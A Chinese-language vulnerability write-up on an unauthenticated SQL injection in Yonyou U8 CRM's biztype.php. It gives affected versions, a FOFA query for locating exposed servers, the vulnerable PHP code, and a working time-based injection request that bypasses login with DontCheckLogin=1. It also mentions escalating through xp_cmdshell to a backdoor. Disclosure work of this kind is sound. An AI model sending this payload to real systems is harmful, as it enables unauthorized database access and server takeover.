漏洞简介
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM客户关系管理系统 biztype.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V13
fofa语法
title="用友U8CRM"
漏洞分析
那直接看 U8SOFT/turbocrm70/code/www/servicequotation/activity/biztype.php 业务逻辑实现关键部分
<?
include_once("tglobal.lib");
$actvtID = $_POST['actvtID'];
$bizTypeArrs = array();//业务类型
$sql = "select COUNT( distinct cost_class_id) num from tc_activity_cost_d where actvt_id='$actvtID'";
$rs = $gblDB->Query($sql);
if ($rs)
{
if ($rs->fetchRecord())
$num = $rs->getFieldValueByName("num");
$rs->close();
}
$typeSql=getUFSqlScope("operation_type","",UFVIEW,false);//取当前操作员业务类型权限
$sql="select count(a.OperationTypeCode) num,a.OperationTypeCode,b.Name from NE_OperationType_ExpenseItem a left outer join NE_OperationType b ";
$sql.="on a.OperationTypeCode=b.Code where b.TypeID=2 and b.isPublished=1 and ExpenseItemCode in (select cost_class_id from tc_activity_cost_d where actvt_id='$actvtID')";
//加上数据权限控制
if(!isEmptyString($typeSql))
$sql.="and a.OperationTypeCode in($typeSql)";
$sql.="group by a.OperationTypeCode,b.Name";
$rs = $gblDB->Query($sql);
if ($rs)
{
while ($rs->fetchRecord()){
if($rs->getFieldValueByName("num")==$num)
$bizTypeArrs[$rs->getFieldValueByName("OperationTypeCode")]=$rs->getFieldValueByName("Name");
}
$rs->close();
}
echo json_encode($bizTypeArrs);
POST 请求的 actvtID 字符串中无任何过滤,无任何过滤和校验,造成sql注入漏洞。
漏洞复现
POST /activity/biztype.php HTTP/1.1
Host: u8crm.mrxn.net
Cookie: PHPSESSID=bgsesstimeout-;
Content-Type: application/x-www-form-urlencoded
DontCheckLogin=1&actvtID=1%27;WAITFOR%20DELAY%20'0:0:2'--

成功延时 2 秒


